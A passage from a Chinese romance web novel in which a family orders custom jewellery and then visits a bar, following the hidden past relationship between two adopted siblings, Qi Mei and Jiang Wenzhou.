江眀琮说那行吧,反正家里的大事都是她做主。 齐眉很好奇地问:“干爸怎么不说,钱不够跟我说?” “……你看我像我像有钱的样子吗?我领退休金的卡都在你妈那儿。”江眀琮白她一眼,“别演我,我不上你的当。” 齐眉乐得笑出声来,江问舟看着她笑起来舒展的眉眼,恍惚间以为当时在车上车下跟他生气的,不是同一个人。 大概是察觉到他的目光,齐眉咬着吃冰淇淋的小勺子,朝他看过去。 接触到他带着一点笑意的目光时,顿了顿,立刻把脸往旁边一撇。 哼,睬他都傻的。 江问舟立刻就回过神来了,好的,没换人,还是她。 他笑笑,冲孙茂芸使了个眼色,起身出去了,因为另外打包了几个菜,是在套餐之外的,要额外结账。 等他结完账回来,服务员也已经把打包的菜送到,索性就不坐了,站在门边招呼大家:“走吧,也差不多到两点了。” 一行人说笑着从餐厅出来,坐扶梯下去,在四楼的位置分开,江眀琮带着纪琏继续向下,另外几人则在扶梯口向左转,孙茂芸领着江问舟和齐眉向看中的珠宝店走去。 也没走多远,很快就看到经过的橱窗上张贴着大幅的海报,海报照片里只有一套山茶花造型的红宝石首饰,没有模特展示,却依旧让人感受到它精致绝伦的美。 紧接着他们就走到了店的正门,“Queen珍宝”,这家店的名字龙飞凤舞地写在白底的广告牌上,仔细一看,底板上还有细碎的金色闪粉,闪烁着低调的光。 推门进*去,正面是服务台,服务台的背板上也是大大的店名,只是装饰得更加精致,服务台上的水晶花瓶里插着正盛放的新鲜花卉。 白的黄的玫瑰,还有白的百合,看上去清新又纯洁。 齐眉自己是种花的,而且颇有心得,看了便忍不住道:“这雅典娜和胜利女神好漂亮,莲花皇后也开得很好。” 话音刚落,服务台后面的店员便笑着接话道:“美女好厉害,一眼就认出来品种了,早上刚换的时候,我们都猜半天都说不对名字。” 齐眉失笑,知道这不过是客套话,便也客气地回了一句:“真的非常漂亮。” 对方就点点头,笑眯眯地问他们有什么需要,还说:“就算没有,也欢迎看一下哦,喜欢的也可以试一下。” “我们想定制一件首饰的话,是个什么流程?”孙茂芸直接问道。 “直接和设计师说明自己的想法就好了,线上的话可以加一下我们的客服微信,会有设计师跟您对接,线下的话……”说到这里,她顿住,低头拿起对讲机问,“设计部,这边前台,请问沈老师现在有空吗?” 对面回复道:“是有客人吗?沈老师还在接待客户没回来哦,杨老师也刚来了客户,请客人稍等一下哦。” 于是孙茂芸就拉着齐眉在大堂里四处溜达。 从店门进来左转,一排都是展示柜,按照不同种类的宝石分类陈列,有钻石、红蓝宝和祖母绿这类贵宝,也有海蓝宝、碧玺和坦桑之类的半宝,色彩缤纷夺目,十分亮眼。 欣赏完石头,再往前走,就是大量的黄金制品,既有各种各样的金饰,也有款式各异的投资金。 孙茂芸看到就说:“诶,正好,这儿有生日快乐的金条,待会儿问问价格,看跟银行差多少,不差几块钱的话,就在这儿给你买一块。” 好多年了,孙茂芸会在两个孩子生日的时候,买一块五克的小投资金条放进保险箱存起来。 保险箱里有两个盒子,一粉一蓝,齐眉上大二的那个暑假,她特地拿出来给她和江问舟看过。 还交代说:“呐,一人一个,粉色的是西西的,蓝色的舟舟的,都是一样的东西,到要分的时候,各拿各的,不要争抢,伤了和气。” 那时候江眀琮还没退休,正好出差开会不在家,俩小的吓得胆都快破了,齐眉更是直接就哭出来。 不是,好端端的,整得跟交代后事一样,不会是出什么事了吧? 幸好后来被江问舟问出来,她的一个老同事突然间脑干出血,在ICU住了几天之后没救回来,人没了,她去参加追悼会,回来就觉得不舒服,怕自己哪天也步其后尘,所以要先把该交代的事交代好。 真是虚惊一场。不过也因此让齐眉和江问舟因此得知,她竟然不声不响地给他们准备了不少东西。 江问舟感触可能有限,因为那是他的亲生父母,大多数情况下,父母对孩子总是无条件地爱护,会为TA准备很多东西。 可是齐眉不是,她并不是孙茂芸的亲生孩子,江眀琮也许因为和齐天远肖骊夫妇的情谊,对她有几分照顾的责任,但孙茂芸并没有。 可是她却给了她和江问舟同等的爱,甚至因为她是女孩子,会更被偏爱一点。 所以和江问舟在一起的时候,她才会时常犹豫,甚至反悔,很害怕自己这样是错的,是辜负了她十余年来的付出和爱护。 齐眉盯着柜台里展示的金条看了好半天,突然觉得金条上“生日快乐”四个字有些扭曲,这才猛然回过神来,觉得眼睛一阵酸涩。 她眨眨眼,听见孙茂芸已经在问旁边的店员:“今天金价多少呀?” 当得知只比大盘价贵十块,她立刻就订了两块,说是把江问舟今年的份额也订了,然后回头拉着齐眉继续往陈列柜里看。 “这是什么……子孙桶?哎呀,这对新郎官新娘子真可爱,这得多重啊,肯定很贵……” “这个戒指好看,凤凰的,好精致。”她说着问店员,“能试一下么?” “当然可以,请问您平时佩戴几号的戒指呢?” 孙茂芸捉着齐眉的手指瞅了瞅,摇摇头:“不知道,你帮她量一下吧。” 齐眉一阵错愕,这才知道是让她试。 连忙要抽回手,拒绝道:“不了不了,我不……不用试。” “试一下嘛。”孙茂芸拉住她,“试一下又不亏,别害羞,试了要是好看,过几年你结婚,妈就按这个给你准备。” 说完扭头看向江问舟,跟他说:“到时候你媳妇也有,我很公平的。” 江问舟嘴角一抽,蹭蹭鼻尖,点点头,应了声好。 接着就听他妈继续问道:“也有男款的,你要不要也试试?” 江问舟一怔:“……我啊?” 他都没来得及反应,齐眉就已经大惊失色地扭头看了过来,满眼都是忐忑和惶恐。 有秘密的人总是更加心虚,更容易像惊弓之鸟。 江问舟没有看她,定定神,笑着点点头:“行啊,您想看我就试试,当我彩衣娱亲,等我课题做完,还有奖金拿的话,给您和爸买一对,现在我和西西就先帮你们试试效果。” 孙茂芸笑起来,连连点头应好。 不管能不能实现,至少在这一刻,好话动人耳。 她还调侃脸色明显变得奇怪的齐眉:“你看你就不如你哥脸皮厚,这样以后真要当新娘子了,怎么办啊?” 齐眉顿时讪讪,心说我是这个问题吗? 她一阵讷讷,也不敢去看江问舟是什么表情,只低着头紧盯着自己的手指。 看店员用测戒圈的工具帮她量了手指,恰好柜台里这枚就合适,于是直接拿出来,小心地帮她戴上,再转头去帮江问舟量。 孙茂芸在一旁看的兴致勃勃,不停地夸着好看。 齐眉低头,看着自己指间振翅欲飞的凤凰,轻轻抖了一下手指,凤凰的翎羽就颤动起来,金光闪闪,华彩夺目,高傲又自由。 另一边江问舟也佩戴好了,款式倒很简单,黄金戒圈上面是圆形的戒面,雕刻着女戒同款的凤凰,有点像印章戒指。 孙茂芸觉得好看极了,拿着手机指挥他们俩:“快,手放一起,我拍个照给你爸看看。” 江问舟嘴角一抽,扭头看向齐眉,看见她眼睛不停地眨了好几下,侧脸看上去表情有些僵硬。 脸色不是很红,但真的很像已经成熟的水蜜桃,表面还有一层细细绒毛那种。 这人现在恐怕已经汗流浃背了吧,他有些无奈地在心里苦笑。 接着扭头对孙茂芸道:“这就……没必要了吧?等下我爸吓到了怎么办?” 齐眉不敢抬头去看江问舟,但她敢附和呀,于是江问舟话音刚落,就见这人使劲点头,小鸡啄米一样。 他不由得失笑,嘴角刚翘起来,就听孙茂芸道:“这有什么好吓到的,要是你俩真的要结婚了,我看他高兴都来不及。” 这下不仅齐眉,就连一直都还算镇定的江问舟都忍不住心里一突。 虽然明知道孙茂芸这话的意思是,他俩,分别和别人结婚,但…… 还是那句话,有秘密的人最容易心虚,江问舟也算不得多么坦荡。 他下意识扭头,恰好和同样想法的齐眉四目相对,俩人同时神情一顿,下一秒立刻错开视线。 齐眉心里有个在流眼泪的小人,骂骂咧咧地说自己今天简直就是在渡劫。 孙茂芸见他俩脸色都是讪讪的,觉得好玩极了,拍拍齐眉的后背,笑道:“好啦,我也不是故意催你们,话赶话嘛,快点,让我拍一个照。” 齐眉心里忐忐忑忑,忽上忽下的有些憋闷,只想赶紧结束这一切,连忙点点头,然后胳膊向着江问舟那边一动。 她的手指伸展着,平放在他微微屈起的手掌旁边,白皙,纤细,像是透着莹润的光泽。 江问舟低头,看见他们指间明显是一对的戒指,眼睛忽然觉得有些不适,立刻抬起头,扭过脸去,用力眨了两下眼。 一旁帮他们试戒指的店员笑眯眯地夸:“很好看对吧?这款真的很多客人喜欢,特别是男戒的戒面,要是不喜欢这个图案,或者有觉得更有意义的图案,我们都可以改的,上周就有一对新人,把这个图案改成了他们家的小猫,也算是一家三口的证明了。” 孙茂芸拍了照,点点头赞同道:“定制的就这点好,可以独一无二。” “是呢,毕竟是一辈子一次的大事,多隆重多特别都不为过啦,您说是吧?” 孙茂芸一边应是,一边将照片发到了群里,还@江眀琮看,问他觉得怎么样。 江眀琮还没回复,就先听到接待他们的店员过来说:“几位客人,沈老师现在有时间了哟,几位要去跟沈老师聊聊吗?” 手上的戒指这时总算可以摘掉了,齐眉松了口气,赶紧主动把手上的戒指拔下来,双手捧着递回给店员。 随即扭头看一眼江问舟,只看见他低垂的眉眼,和微微紧抿的嘴角。 突然想起来,他曾经给她订过一件首饰,但好像……要了命啦!他们都分手几年了,那件首饰到底出货没有啊? “好了没有?走啦。”孙茂芸的招呼声在耳边响起,齐眉立刻回过神,伸手挽住她的胳膊。 ————— 宽敞明亮,布置典雅的接待室里,店员送来了齐眉他们要的茶和咖啡。 一同进来的,还有一位身着牛油果绿无袖连衣裙,气质温和的年轻女士,手里还拿着平板电脑。 她笑着自我介绍:“几位好,我叫沈嫒,是这里的设计师,很高兴同你们见面。” 两边寒暄了起来,主要是孙茂芸和设计师在说,齐眉和江问舟两个就像跟着大人出门的小屁孩,一张嘴除了喝茶喝咖啡,暂时没有用武之地。 紧接着又有人送了点心进来,都是个子小巧一个只有一口分量的,这样吃起来不用担心掉得到处都是。 齐眉自己就开店,当然看得出其中的用心之处,忍不住点点头。 就冲这周到的服务,不管最后订没订成首饰,这体验感也足够让她在日后有需要的时候再次光临了。 她放下茶杯,伸手拈了一块点心,直接放进口中,原来是核桃酥,很酥,轻轻一抿就在舌头上化开,只留下桃酥浓郁的香味。 江问舟端着咖啡杯,看见她吃了点心后眼睛眯了起来,嘴角露出一丝淡淡的笑意,忍不住多看了一眼点心碟子。 这么好吃?我也来试试。 他放下咖啡杯,朝点心碟子伸手。 齐眉吃了一块觉得不够,正伸手去拿下一块。 俩人的指间就这样既意外又巧合的,在点心碟子里碰到了一起。 其实指尖只这么轻轻碰一下,大概率是不会有什么特别明显的感觉的,但若果你对这个人感觉本来就特殊,可就不好说了。 就像齐眉,她只觉得自己的指尖先是触碰到了一处有些温热的皮肤,紧接着像是有电流钻入她的指尖,顺着皮肤和肌肉的纹理脉络,蔓延至她身体的其他地方。 最后的落脚点是在她的心尖上,噼哩啪啦一顿响,她只觉得自己后脑勺的头皮都有些发麻。 她下意识地收回手。 动作快得甚至有些像落荒而逃,或者是被什么蛰了一下,江问舟看见,眼皮不由得狠狠一跳。 他压住脸上的表情,若无其事地拿起一块点心,放进嘴里的那一刻,他就知道为什么齐眉会眯眼睛高兴了。 桃酥的香味在口腔汹涌,让人忍不住想再来一块。 于是齐眉就看见他吃了一块又一块,接着再来一块,一块接一块,很快碟子里的点心就没了大半。 齐眉:“……”吃这么多! 一点不考虑别人的感受!也不给你妈妈留!这人太坏了! 她气得忍不住偷偷瞪他。 江问舟当然有感觉到她的目光,也知道她为什么生气,毕竟她瞪过他后,又看了一眼孙茂芸。 可是有时候这人呐,就是贱,明明之前来吃饭的路上刚惹了她不高兴,她没一直记恨他给他脸色就已经很不容易了,他偏还要继续惹她。 就好像只有这样,自己心里才会舒服一样。 齐眉不知道他是这样的想法,不然一定会为他的幼稚惊讶,甚至还可能觉得他被外星人掉包了。 孙茂芸这时和设计师已经商业互夸结束,正式进入正题:“是我们家姑娘马上就要过生日了,我寻思着给她买个首饰,正好在网上看到你们家,觉得款式都不错,就过来看看。” “是这样的啊,谢谢谢谢,多谢您愿意相信我们,给我们一次机会。”沈嫒双手合十地笑着道了声谢,然后看向齐眉,“小姐平时喜欢佩戴首饰么?” 她打量着齐眉的装束,发现她浑身上下只有一块手表。 齐眉从瞪江问舟的动作里回过神,看向沈嫒,笑着摇摇头:“不太戴的,我的工作不太方便戴首饰。” 孙茂芸也附和着说:“是啊,医生嘛,总不好花枝招展的,怕人家看着影响不好。” “原来是这样。”沈嫒恍然大悟,又笑着说,“其实现在的首饰有一些非常低调的款式,一点都不显眼,但是又非常有质感,我建议您可以考虑一下这种。” 她打开平板电脑,给孙茂芸和齐眉看过去一些客订的成品图,有手链有项链,也有耳饰,都是些精致小巧的款式。 看起来好看,而且价格也很不错,至少是孙茂芸觉得自家能轻松负担得起不会心疼的。 “真好看,要不我也订一件算了。”她笑眯眯地道。 齐眉立刻指着一条珍珠项链对她说:“这个,妈你戴这个肯定好看,海水珍珠光泽很好的,看样子是澳白呢,澳白的绸缎光可优雅了,我记得你有一串的。” “那串太隆重了。”孙茂芸笑着摇摇头,“我现在没什么场合要戴它啦,去菜场买菜戴它感觉有点怪怪的,大题小做。” 齐眉点着头,使劲撺掇:“所以就要一条这种嘛,用小钻石镶三朵花,连成弯月的样子,最大一朵在中间,挂澳白的坠子,怎么样?我想想觉得还不错诶。” “或者用钻石镶一顶小王冠,戴在珍珠上面,就是冰雪女王款,日常戴没问题,正式一点的场合也OK,对吧?” “做四叶草也可以,或者是做成葫芦?就是葫芦的上半部分是拉丝的,K白,下半部分就是珍珠……” 她说得手舞足蹈,沈嫒根据她的描述画出草图,几个人凑在一起大聊特聊。 江问舟已经不吃点心了,连咖啡都不再喝,看着齐眉转瞬间就恢复眉飞色舞的脸,突然觉得意兴阑珊。 齐眉以前是很喜欢研究这些的,她从小就爱美,越大越会打扮,甚至他们去逛夜市,碰到买小饰品的摊子,她去买发圈,看到发圈有水钻装饰,她都要挑一个水钻贴得最整齐的。 就这样的人,现在居然身上一件首饰都没有,说什么上班不方便戴,简直是放屁! 狗屁不通!!! 江问舟越想越气得慌,又不能表现出来,只能怄在心里。 火一阵阵在腹中燃烧,难受得很了,他就仰起头看向天花板,缓缓将胸中那口气分段似的吐出来,极力让自己恢复平静。 “齐小姐对妈妈的项链这么有想法,那对自己的生日礼物呢?”沈嫒这时问道。 齐眉微微一愣,旋即又笑着摇摇头:“一时半会儿的,也想不到……” 江问舟望着她,觉得她刚才那股活跃兴奋的劲头像是瞬间就收敛了起来。 她顿了顿,忽然又改口:“不然还是项链吧。” 齐眉想到刚才在外面试戒指时,江问舟戴过的那枚。 “火漆印章那个形状,上面有个图案,镶嵌有没有都可以,有的话尽量简单一点,可以么?” 她说完扭头去看孙茂芸。 孙茂芸一时想不起火漆印章是个什么东西,直到沈嫒在平板上调出一款玫瑰花牌的项链,才恍然大悟。 沈嫒问齐眉是不是这种造型,“我们有很多客户在做宝宝的出生牌时,也会选择这种造型,镶嵌的话,有的是镶钻石,有的是喜欢的彩宝,都是很小的分数,看起来非常低调。” “生辰石呢?七月份的生辰石是什么?”齐眉歪着头想了想,“红宝石?” 沈嫒点点头,接着问:“是要单面还是双面的呢?” 这个问题让齐眉和孙茂芸出现了相左意见,齐眉觉得单面的就可以了,孙茂芸觉得还是双面好,哪天这一面看腻了,就把吊坠翻过来,嘿,又是一条新的,一举两得。 当然,那样费用肯定会比单面的要高一截,不仅是材料要增加,对师傅要求也更高了。 纠结不出结果,孙茂芸就说:“少数服从多数好了。” 说完没等齐眉反应过来,就扭头招呼一直在当壁花的江问舟:“舟舟你说,单面好,还是双面好?” 江问舟立刻就答:“双面。” “呐呐呐!”孙茂芸神清气爽,甚至有些得意,“二比一,你听我们的。” 齐眉:“……” 她抿住嘴唇回头看了一眼江问舟,刚才跟她抢点心,现在坏她计划,真是一根长得好生漂亮的搅屎棍! 江问舟见她又瞪自己了,就眨眨眼,在脸上挂上疑惑又茫然的神情,问她:“怎么了?” 齐眉:“……” 她回过头,听到沈嫒问她想要什么图案,立刻就把注意力转移。 想了半天,什么花啊草啊都想了一遍,最后说:“狗狗?我有一只狗,是一只萨摩耶,用它的头像做图案,可以么?” “当然可以了,我们回头再琢磨琢磨宝石放在哪个位置比较好。”沈嫒点点头,接着问,“另一面呢?想要不一样的佩戴体验的话,另一面就不好再用小狗了吧?” 或者至少,不是同一只小狗的同一个动作姿势。 齐眉一时沉吟,孙茂芸这时忽然提议道:“家里还有猫。” 齐眉顿时一愣,猫?金金? “是么,家里还有猫呀?”沈嫒立刻就问,“是什么样子的呢?” “特别可爱的外国佬啦。”孙茂芸笑眯眯地道,还拿手机出来给对方看年年和金金的视频。 齐眉这时才有些无奈地抗议:“……猫又不是我的。” 谁会把别人的宠物头像挂脖子上啊?! “你哥的就是你的。”孙茂芸理直气壮,往旁边一指,“不信你问他。” 齐眉嘴角一抽,忽然什么话都不敢说。 倒是听见江问舟嗯了声:“可以。” 齐眉:“……”可以你个溜溜球! 除了图案,还有一个问题:“另一面需要镶嵌吗?需要的话,还要红宝石么,或者别的?” 沈嫒玩笑道:“比如蓝宝石?不是都说么,自古红蓝出CP,而且我们最近确实回来了一批品质很好的蓝宝石。” 齐眉闻言眼睛立刻一颤,下意识垂眼。 蓝宝石是哪个月份的生辰石来着?九月。 江问舟的生日就在九月。 孙茂芸还说不错,觉得可以按这个方案来,齐眉正犹豫,不知道拒绝的话怎么说。 总不能说不喜欢吧?这话只能骗得过外人。 一阵手机铃声这时忽然响起,江问舟说了声抱歉,就起身出去接电话了。 电话是科里打来的,询问某个病人的抗生素是否需要更换。 等他处理完这事再回到接待室,就见齐眉她们已经凑到一起挑宝石了,一盘子红红蓝蓝的石头,因为齐眉选择的款式,拿出来挑选的宝石个头都比较小,但在托盘里看着还挺好看。 他有些好奇地问:“图案都决定好了?” 孙茂芸说当然了,他便接着问:“另一面图案是不是金金?” 齐眉正低头看面前两颗不同形状的红宝,闻言不禁嘴角一抽。 好奇怪,怎么感觉这人还挺期待? “不是呀。”孙茂芸道,“选了调酒的那个壶还有那个什么……就是倒酒的那个。” “雪克壶和量酒器。”齐眉赶紧解释道。 孙茂芸说对,“正好是她的工作,事业,那还是比金金更合适点的哈。” 江问舟哦了一声,没说话了。 但齐眉总觉得,这一声哦里,好像有很多的遗憾似的。 于是她忍不住回头看了他一下。 只见他垂着眼,眼角微微耷拉着,脸上没什么表情,倒是看不出高兴还是不高兴。 齐眉觉得他不高兴。 于是在他察觉自己的目光,抬头看过来的时候,她很大方地冲他笑了一下。 她以为自己的笑和平时没什么区别,但在江问舟看起来,却和挑衅没什么两样。 原本圆润的眼睛微微眯起来,眼尾上挑,嘴角只撇一边跟歪嘴似的,又不是面瘫,谁家好人这么笑的? 这不是挑衅是什么?! 江问舟很没好气地别过头,齐眉一看,顿时觉得更高兴了。 好呀,看到你不开心,我就开心了! 第26章 第二十六章(二合一)你说那是妹妹,…… 齐眉的项链最后敲定是一面年年的头像,一面雪克壶和量酒器,和一蓝一红两颗枕形切割的宝石。 宝石很小,加起来才三十分,孙茂芸本来还想选大点,被齐眉以感觉不协调为由拒绝了。 但胜在宝石的成色很好,虽然小,但看上去很干净清透,颜色也很正,是非常漂亮的鸽血红和皇家蓝。 敲定以后,孙茂芸想想,又跟齐眉说:“来都来了,把你哥的生日礼物也订了算了。” 说完转头冲江问舟诶了声:“呐,我不厚此薄彼,你要什么?领带夹呢,还是袖扣?” 男人的饰品无非那几样,倒有人戴串珠了,但他一个外科医生,不是出门诊就是上手术,戴手表是看时间,戴手串是干什么? 看着就不太像话,戒指也不该是当妈的给他买,所以就只剩袖扣和领带夹可以选了。 江问舟点头,狮子大开口:“能都要吗?” 孙茂芸一噎,他继续道:“配套的才好看,而且一年就一次生日,所以……妈?” 话都说到这份上了,孙茂芸觉得自己要是不答应,都对不起孩子,于是最后还是点点头。 江问舟的要求倒很简单,要袖扣和领带结上有猫猫头,至于镶嵌的石头,全都要了红宝石,也说要小小的,十分就好。 “我这工作,不适合佩戴太显眼的饰品,患者看到了还以为我这工作多挣钱呢。” 沈嫒听了就笑,点头道:“这个我懂,我们的另一位合伙人,本职工作也是医学相关,听她说过的。” 江问舟有些惊讶,但没有多问,毕竟这年头大家都流行做副业。 订单下好,孙茂芸去付定金,顺便提金条,付账的时候还犹豫:“我们都有,就你们爸爸没有,是不是不太好?” 江问舟就说:“爸抽烟,要不然给他买个打火机?” “不准!”孙茂芸一票否决不说,还瞪他一眼,“我正天天监督他戒烟,你小子不要给我拖后腿!” 江问舟立刻闭嘴,抬手蹭蹭鼻尖,神情有些讪讪。 齐眉看他一眼,咬了一下嘴唇,忽然说:“你们体检今年还没做,要不……我给你们约一个全身检查?” 也要到年中了,她们单位的员工体检就安排在五月中旬。 江问舟一听,立刻就说:“我来约,到时候西西休息,她负责陪你们去做就好了,把胃肠镜也做了。” 这倒是真的很应该,孙茂芸叹气:“人年纪一大,就这里有问题那里不舒服,真怕你爸因为害怕,就不愿意去,去年就这样,不信你问西西。” 江问舟一愣,他还真没听家里说过这事,忍不住疑惑地转头去看齐眉。 齐眉有些无奈地耸耸肩:“我们跟他说,如果他不去,就告诉你,说让你知道你爸爸是胆小鬼,他才去的。” 江眀琮一直觉得体检太讨厌了,就是因为去体检了,他才会被确诊高血压,后来又被发现血糖有点问题,才会要吃药,要控制饮食。 日子一下就变得毫无趣味,充满了束缚。 谁知道下一次体检又会查出什么问题呢?他自然就害怕了。 衰老是必然,可罕有人不害怕衰老。 而且因为他的职业,不管是身边的人,妻子孩子,甚至他自己,都觉得自己的形象是顶天立地的大丈夫,突然要面对因为生命自然规律而变得衰老的自己,说实话,打击还挺大的。 所以他才会被孙茂芸一句“那就告诉舟舟,让他评评理”轻松拿捏。 江问舟知道事情始末之后,哭笑不得地摇摇头,说:“等他习惯退休的生活就好了,说不准再过几年,他就主动要去体检了。” “是才好。”孙茂芸嘟囔了一句,又笑着跟正好出来的沈嫒道了声谢,这才拉着齐眉他们走了。 从珠宝工作室出来,已经是下午四点多,时间不早,齐眉提出要回去。 没办法,她晚上还有工作。 江问舟看她一眼,像是无意般的提出:“或者直接去西西那边,吃饭上班两不误。” 说着又看齐眉一眼,继续:“妈你想不想吃外卖?我们可以去一家叫12号餐车与酒廊的店……是叫这个名字吧?去那儿借个座,就是不知道老板会不会赶人。” 齐眉:“???” 孙茂芸被他这番话逗得乐不可支,连连点头笑道:“应该不会,我知道的,那里的两位老板都漂亮又好心,西西说是不是?” 没等齐眉答应,江问舟就呵了声,语气好似有点幽幽的:“这可说不准,万一是我太丑连累了你呢?” 齐眉:“……”你小子最好不是在阴阳我! 最后三人还是一道去了店里,到的时候刚过傍晚六点,任清葭还没走,但陆阳已经来了,正坐在吧台那儿玩手机,游戏音效响个不停。 佟林正在切冰块,听见门口的动静,抬头看了一眼,立刻打招呼:“阿眉来了。” 陆阳回头,看见孙茂芸,立刻就收起手机过来问好,又问江问舟:“纪叔叔检查结果怎么样?手术做了么,这几天出了趟差,刚回来,还说明天去看看他。” “检查结果……不好不坏吧,手术可以解决。”江问舟想了想,用了这个说法,然后说,“时间不凑巧,术前检查刚做完就五一了,手术要等假期结束才能安排。” “那就好,明天我去看看他。”陆阳松口气道,又问他们吃饭没有,问孙茂芸,“相请不如偶遇,晚上我请您吃饭?” “不用不用。”孙茂芸忙摆手,笑眯眯道,“我们是专程来这儿借地方点外卖的,要不你和清葭也一起?” 陆阳一听点外卖,立刻就摇头:“那还是算了吧,我都答应她要去那家新开的店了,要是临时改口,这不得让她记一笔啊?算了算了,下次一定。” 孙茂芸就笑道:“这是对的,怕老婆才会发达,你很快就会更加发达啦。” 话音刚落,任清葭就从楼上下来了,也是赶紧过来打招呼,寒暄过后才略有些嗔怪地对齐眉道:“不早说阿姨和江医生都过来,不然我就多留点小蛋糕了。” “临时决定的。”齐眉有些无奈地耸耸肩,“晚上不也有提拉米苏和抹茶慕斯么,不打紧。” 任清葭说那怎么一样,“白天品种多很多的。” 说着又回头对孙茂芸笑道:“明天我和陆阳去看纪叔叔,顺便给您送去。” 孙茂芸还没推辞,齐眉就立刻道:“干妈这几天都住我那儿。” 言下之意就是送去我那儿就行。 不仅如此,她还说:“我想吃咖啡千层和柠檬芝士挞,不客气。” “你可真会点菜。”任清葭直接就带她气笑了,“行行行,给你带,还要别的吗?比如芒果千层?” “好啊!”齐眉一口答应,还笑嘻嘻地道了声谢,“谢谢嫂子。” 任清葭这下连吐槽都说不出来,只好伸手捏了捏她的脸。 齐眉笑嘻嘻的,心情看上去还不错,江问舟靠在吧台边,一面听他们寒暄,一面有些肆无忌惮地看着齐眉的脸。 她这样理直气壮到有点嚣张的样子,倒是很久没见过了。 她要什么时候才会对一个人露出这样的一面呢?江问舟忍不住有些走神。 首先要确定这个人和她的关系,是不是足够令她信任,以及和她足够熟悉,包括熟悉对方的为人和做事风格,不熟的人她绝对不会提出任何要求,因为怕人情她还不起。 其次要确定自己的要求在对方的底*线和能力之上,超过了,那就叫强人所难,齐眉从来不做这种事。 啊,也不对,她做过的。江问舟有些哂然。 任清葭和陆阳很快就走了,齐眉送他们到门口,接着扭头问孙茂芸要不要去楼上休息室坐会儿。 孙茂芸在吧台对面的桌旁坐下,沉吟片刻,问道:“在这儿吃饭会影响你们做生意么?” “那倒不会。”齐眉笑着摇摇头,“我们这儿允许客人外带除了酒水以外的食物,比如出门往里走有一家店,烧烤很好吃的。” 孙茂芸哦了声,点点头,说那就好,接着看一眼江问舟。 江问舟嘴角一抽:“……懂了,一会儿就给你点烧烤。” 说完他突然想起刚才齐眉跟任清葭说要吃什么蛋糕时的模样,转头问她:“西西要吃什么?” 齐眉在吧台后面,正在系围裙,闻言一愣,抬眼有些茫然地看向他。 接着被他眼睛里复杂的目光弄得更加疑惑。 他好像很难过,看她的眼神里藏着一丝不太容易被人察觉的悲伤,齐眉看得有些怔然。 这是怎么了呢?她突然觉得自己有些手足无措,连回答都不由自主的变得小心:“……啊、我啊?” 她想说没什么想吃的,或者说一会儿汪淼在做客单时会顺便给她弄点吃的,当然,晚上这顿不吃也没关系。 可话到嘴边,又说不出来,总觉得自己要是说了,他会特别难过。 她不忍心。 齐眉知道,自己对他从来就没有真正狠下过心。 哪怕是执意分手,趁着他在京市进修时离不开,直接从申城回来,并且拉黑他的所有联系方式,都不是对他狠心。 而是对自己最狠,堵住耳朵蒙住眼睛,甘心当一个眼盲心瞎的人一意孤行,靠着一句“这是为他好,我是对的”欺骗自己,熬过一个又一个孤枕难眠的夜晚。 然后在重逢之后,被他一句“你问过我想不想、需不需要你这样付出吗”打破所有自以为是的外壳。 她已经不敢想自己是不是真的做错了,甚至不知道以后会怎么样。 齐眉眨眨眼,掩下眼里的情绪,应道:“我跟干妈吃一样的吧。” 江问舟嗯了声,又问了一遍:“还有吗?” 他好像真的要得到一个什么样具体的答案。 齐眉又愣了一下,最后有些无奈地道:“烤面包片吧,两片就可以。” 江问舟的眉头微微一皱:“……就这点?” 齐眉一噎,心说大哥你是不是忘了刚才我还说和干妈吃一样的? “……我减肥,晚上不能多吃。” 江问舟听到她这么说,眉头一下松开,随即又蹙起,看着似乎有话想说,但最后却只是点点头。 倒是孙茂芸不赞同地说:“减肥?减什么肥,你又不胖,别减出别的问题来了。” 齐眉嗯嗯两声,笑着应付道:“不多减,就减三四斤,瘦一点穿裙子好看嘛。” 孙茂芸还没说什么,江问舟就点了点头,嗯,这倒是很像她能做出来的事。 他指的是以前那个爱漂亮爱打扮的齐眉。 外卖才刚点好,客人就来了,而且还是个熟客,提着烧鸡进门的,顺手就给佟林掏了一个。 “买一送一,不要白不要,请你们吃烧鸡咯。” 然后要了一杯威士忌酸,找了个角落的位置坐下,就在孙茂芸的后面。 齐眉看着田乐开始调酒,就问孙茂芸:“干妈想喝什么?” 孙茂芸拿过酒单看了一会儿,有些惊讶地道:“教父教母,怎么这酒还成双成对的?” 她一句话就把吧台里的三个人都逗乐了,田乐解释道:“用的基酒不同,教父是苏格兰威士忌加杏仁利口酒,教母是伏特加配杏仁利口酒,阿姨想喝哪种?” “都没喝过。”孙茂芸想了想,“都来呗,我和舟舟一人一杯。” 齐眉询问的目光看向江问舟,他摇摇头:“我不喝,我得开车。” “哦,也对。”孙茂芸这才想起来,于是决定自己喝两杯。 理由是在自家店里,反正不会出事。 田乐笑嘻嘻地夸她:“阿姨真是好潮的妈妈,我妈就绝对不会来酒吧。” 孙茂芸被夸得眉开眼笑,起身换了个位置,坐到吧台边去,和她聊了起来。 点的餐送到,吃完已经是九点以后,齐眉看时间差不多,就问她要不要回去,还找了个理由:“年年今天还没遛吧?会不会已经拆家了?” 年年的精力还是很旺盛的,每天都要遛,得充分放电,不然家里大概率会遭殃。 孙茂芸一听就有点着急:“那我先回去了。” 说着起身,看一眼江问舟:“要不……你在这儿等西西下班,我自己打车回去?” 江问舟说不用这么麻烦,“我送你回去,遛了年年,再过来就是了。” 一时也不知道谁的提议更麻烦,但他的计划显然更安全。 江问舟送孙茂芸回去以后,店里渐渐进入到客人最多的时候,齐眉一边接待客人,一边看江问舟发给她的遛狗视频。 太忙了,一时也没抽出空来回复他。 十一点半刚过,他就回来了。 还没来得及问他年年有没有拆家,就听他说了句:“给我来杯酒。” 齐眉到了嘴边的话顿时就咽了回去:“……不是说要开车,不喝酒?” 江问舟眉头一动不动,淡淡道:“给代驾一个接单机会。” 齐眉:“……”真是怎么说你都有理由:) ————— 晚上十一点四十五分,店里的歌单播到了《天空之城》,旋律悠扬,一点都没被店里热闹的人声盖过。 江问舟坐在吧台边,专注地看着齐眉的动作。 她换了个大容量的量酒器,往里倒番茄汁,他很好奇:“什么酒要用番茄汁去调?” “上个月的新品,小番茄话梅威士忌。”齐眉回答道,将量酒器里的番茄汁倒进加了冰块的雪克壶里。 江问舟心里一动,“用到你腌制的话梅小番茄?” “用来做装饰。”齐眉点点头,接着从吧台下方的冰箱拿出一个透明的敞口玻璃瓶。 打开盖子,用勺子盛出里面的液体,倒进量酒器。 “这是什么?”江问舟好奇地问,打量着那个瓶子,琥珀色的液体里泡着的东西很眼熟,“泡了话梅?” 齐眉说是:“话梅威士忌。” 